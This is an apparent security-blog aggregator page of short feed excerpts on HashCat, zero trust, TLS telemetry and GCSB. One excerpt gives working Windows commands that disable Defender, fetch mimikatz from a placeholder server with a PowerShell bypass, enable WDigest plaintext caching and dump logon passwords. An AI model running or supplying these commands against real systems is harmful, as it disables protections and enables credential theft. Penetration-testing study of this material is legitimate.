Aggregator

HashCat：如何利用HashCat破解NTLMv2 hash？

童话

5 years 2 months ago

0x00 前言

当我们利用Responder拿到目标机做SMB文件共享时使用的NetNTLMv2 hash后，可以利

TonghuaRoot

GCSB’s role in supporting national security decision making

Government Communications Security Bureau

5 years 2 months ago

Presentation by GCSB Director General Andrew Hampton to Otago University Pols213, 3 March 2020

Growing, Exploring and My First Conference

The Akamai Blog

5 years 2 months ago

By now, we are all subject in one way or another to the far-reaching impact of COVID-19. As we see on the news each day, the numbers of those infected by this deadly coronavirus continue to grow in terrifying increments. And even for those of us without family members or friends directly impacted by the virus, life has profoundly changed.

Bridget Meuse

Windows Server 2016抓取明文密码

BaCde's Blog

5 years 2 months ago

临时禁止Windows Defender

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f gpupdate /force

下载mimikatz后解压缩。

powershell.exe -NoP -NonI -Exec Bypass -Command "& {Import-Module BitsTransfer; Start-BitsTransfer 'http://你的服务器/mimikatz_trunk.zip' "%APPDATA%\mimikatz_trunk.zip"}"

修改注册表开启UseLogonCredential

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

等用户下次再登录的时候,可抓到明文密码

mimikatz.exe privilege::debug sekurlsa::logonpasswords exit

完成一次渗透测试项目

bloodzer0

5 years 2 months ago

小B接到一个渗透测试任务，由于很久没有从乙方视⻆执行渗透测试的他决定先梳理一下自己的思路。

完成一次渗透测试项目

bloodzer0

5 years 2 months ago

小B接到一个渗透测试任务，由于很久没有从乙方视⻆执行渗透测试的他决定先梳理一下自己的思路。

完成一次渗透测试项目

bloodzer0

5 years 2 months ago

小B接到一个渗透测试任务，由于很久没有从乙方视⻆执行渗透测试的他决定先梳理一下自己的思路。

我也来喷一喷零信任

童话

5 years 2 months ago

2019年12月26日 11:29

零信任安全架构的核心就是 Never Trust， Always Verify。

说白了就是针对身份实体的请求上下文做一个综合判断，最后给出allow或者deny的结论，可玩的点还是在

TonghuaRoot

Guardicore at RSA: AI-Powered Segmentation, Cloud Native Security

The Akamai Blog

5 years 2 months ago

This week we?re announcing two new capabilities in our Centra Security Platform that further deliver on that mission: Support for cloud-native resources and AI-powered segmentation.

Guardicore Labs Team

2019 TLS Telemetry Report Summary

F5 Labs

5 years 2 months ago

The Summary of the 2019 F5 Labs TLS Telemetry Report expands the scope of our research to bring deeper insights into encryption on the web, including ciphers, SSL/TLS versions, and digital certificates.